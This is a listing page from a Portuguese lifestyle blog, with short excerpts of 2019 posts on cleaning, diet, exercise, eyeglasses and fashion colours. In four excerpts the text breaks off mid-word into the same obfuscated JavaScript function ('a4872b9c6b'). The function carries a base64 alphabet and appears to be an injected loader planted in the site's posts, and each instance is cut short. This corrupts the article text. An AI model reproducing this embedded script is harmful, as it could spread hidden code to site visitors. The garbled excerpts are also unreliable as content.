Ago 30, 2019 | Dicas úteis, Estilo e beleza, Teresa
Exercícios para alongar, na cama Já pensou que o seu dia de trabalho é um dia árduo de exercício físico, então precisa de um pequeno aquecimento muscular. Sabia que pode fazê-lo na cama. Sim, na sua própria cama, mesmo antes de se levantar. Não custa nada e vai...
Ago 12, 2019 | Dicas úteis, Faça você mesmo, Teresa
Como limpar o forno com produtos naturais, e deixá-lo a brilhar Limpar o forno, não é tarefa fácil. Os resíduos de comida e gordura, que se vão acumulfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var...
Jul 25, 2019 | Dicas úteis, Estilo e beleza, Teresa
Dicas úteis para escolher bem os seus óculos Eu adoro óculos de sol e, claro, também já uso óculos para ver melhor as coisas mais perto. Se está na altura de trocar de óculos ou de começar a usá-los, ou quer apenas uns óculos de sol, já deve estar preocupada com o...
Jul 20, 2019 | Dicas úteis, Saúde e bem estar, Teresa
Truques para controlar a fome e evitar excessos à mesa Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Jul 12, 2019 | Dicas úteis, Teresa
Truques simples para acabar com as traças Nada mais irritante do que qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Jul 8, 2019 | Dicas úteis, Faça você mesmo, Saúde e bem estar, Teresa
Exercícios e dicas para evitar lesões provocadas pelo uso excessivo do computador e telemóvel Você sabe, e eu também, que o uso continuado e excessivo das novas tecnologias tem mudado a forma como nos relacionamos com o mundo em geral e em especial com a família e...
Jul 3, 2019 | Dicas úteis, Faça você mesmo
Como eliminar maus cheiros no frigorífico Não é raro acontecer o frigorífico ganhar mau cheiro. Isto deve-se aos microrganismo e bactérias de alimentos oxidados e estragados que acabam por contaminar o local. Para além disso existem sempre alguns alimentos de cheiro...
Jul 2, 2019 | Dicas úteis, Faça você mesmo, Sabedoria, Saúde e bem estar
Poupe no recibo da água e da luz, e seja amiga do ambiente! Cada um de nós tem a responsabilidade moral de proteger aquilo que nos foi oferecido em estado puro e que, aos poucos, temos destruído. Simples e pequenos gestos podem fazer toda a diferença num futuro...
Jun 25, 2019 | Dicas úteis, Equilíbrio, Saúde e bem estar
Alimentos que devemos consumir todos os dias Como bem sabe, gosto de lhe dar diariamente conselhos sobre alimentação. Acredito profundamente que somos o que comemos e que devemos ter uma alimentação equilibrada e muito variada, comendo um pouco de tudo. Assim...
Jun 22, 2019 | As cores da moda, Dicas úteis, Estilo e beleza, Teresa
O que comprar em saldos? Saiba quais são as cores do outono 2019 Os saldos já estão aí e a tentação é grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
